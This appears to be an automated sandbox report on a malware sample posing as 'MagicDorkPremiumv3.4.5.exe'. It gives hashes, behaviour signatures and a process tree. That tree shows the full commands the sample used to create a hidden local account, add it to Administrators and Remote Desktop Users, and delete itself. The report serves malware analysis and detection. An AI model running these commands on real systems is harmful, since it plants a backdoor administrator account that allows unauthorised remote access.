Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-12-2024 13:09

General

  • Target

    MagicDorkPremiumv3.4.5.exe

  • Size

    8KB

  • MD5

    bc4bc3abc2a6c7008ba586394e653f6a

  • SHA1

    a213a27ad4d756506e7a8b581ee6686031c70610

  • SHA256

    90df211fe009f950d2f0a903bf2a2e609788b2d9d5183a28aab02c528ee8d505

  • SHA512

    e52a45671658725444e3b6cb72547f942b831274980f239f8e6a7899dd9506538ccd3616532f1492a94c1f47a2c09fd9f88480f615da61039fa604223f280b8d

  • SSDEEP

    96:yp+bNXPhviNjOi4cBmdjS+d579i9bm605/ltk+Vdc0M1ks5OaczNtK:ykZXRikFdm+f96bmzZNdfMOs1m

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 1 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MagicDorkPremiumv3.4.5.exe
    "C:\Users\Admin\AppData\Local\Temp\MagicDorkPremiumv3.4.5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net user ThanksEgalsa ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" user ThanksEgalsa ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user ThanksEgalsa ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:980
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup administrators ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup administrators ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2892
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup "Remote Desktop Users" ThanksEgalsa /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup Remote Desktop Users ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Remote Desktop Users ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2624
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpDCA9.tmp.cmd""
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\SysWOW64\timeout.exe
        timeout 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:1824

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\tmpDCA9.tmp.cmd

    Filesize

    168B

    MD5

    565d9b0f3c419f8f154227d6ed70a37f

    SHA1

    0d7ba013478aced3260c04717475773617f6943a

    SHA256

    3ca116e8449fdb80da4b39ed604ebe672d19e2c0bb5d7985f42d3ea4a4fe6ffb

    SHA512

    228e5fd364fde9a02c3ca07b0f9a558b6658d2dd37c513a2a1f4068a6235fa3669d3e3ce1439abd413a5a12c26d5e9e1a33d107280ba2c9a856c86af24bc5c4a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    96d2afbc93f3157b4e58eaf995515807

    SHA1

    2c5a9136846cc8e0a7cb1895fb018553c19a4436

    SHA256

    622e431fa61755a934211e96053489dbfe0fd20a519bb460116014f8d3e83297

    SHA512

    d837878deb5d1941f8d6b61c9b656a264d8a530286153680b6b4567adf06d2ff094c63fbf8b44bc3f1afc2da8fa71528cc4602983580196099b670de4a7b510c

  • memory/536-4-0x0000000002900000-0x0000000002940000-memory.dmp

    Filesize

    256KB

  • memory/1864-0-0x00000000749FE000-0x00000000749FF000-memory.dmp

    Filesize

    4KB

  • memory/1864-1-0x0000000000360000-0x0000000000368000-memory.dmp

    Filesize

    32KB